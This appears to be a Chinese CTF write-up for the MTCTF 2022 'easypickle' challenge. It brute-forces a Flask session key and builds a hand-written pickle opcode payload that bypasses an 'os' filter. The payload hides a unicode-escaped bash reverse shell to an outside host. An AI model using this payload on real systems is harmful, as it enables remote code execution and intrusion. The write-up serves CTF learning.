pickle反序列化

具体的学习看这篇博客,我就不多说什么了,这里主要是手搓一些opcode。

https://goodapple.top/archives/1069

[MTCTF 2022]easypickle

 看源码

os.urandom(2).hex()会生成长度为4的字符串。可以用flask-unsign爆破SECRET_KEY。用以下脚本生成字典,可以反复爆破。

import os
file_path='./key.txt'
with open(file_path, 'w') as f:
    for i in range(1,9999):
        key = os.urandom(2).hex()
        f.write("\"{}\"\n".format(key))

爆破出SECRET_KEY。

在判断session.get('user')=='admin'后,会对session.get('ser_data')进行base64解码,经过替换后赋值给a,在对a进行判断,但是结果是对session.get('ser_data')进行反序列化。要绕过过滤的话,可以将o指令和s指令结合起来,这样os便会被替换成Os,绕过过滤。

paylaod:

import pickle
import pickletools
import base64
opcode=b'''(S"key"
S"val"
dS"exp"
(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0062\u0061\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u006E\u0067\u0072\u006F\u006B\u002E\u0078\u0069\u0061\u006F\u006D\u0069\u0071\u0069\u0075\u0031\u0032\u0033\u002E\u0074\u006F\u0070\u002F\u0031\u0037\u0031\u0037\u0032\u0020\u0030\u003E\u0026\u0031\u0027
os.'''
pickletools.dis(opcode)
print(base64.b64encode(opcode))

因为反弹shell时有i字符,所以使用unicode编码绕过。

将得到的payload拿去伪造session。

burp抓包,在/admin发送session。

成功弹到shell。

posted @ 2024-07-24 23:40  duskto  阅读(139)  评论(0)    收藏  举报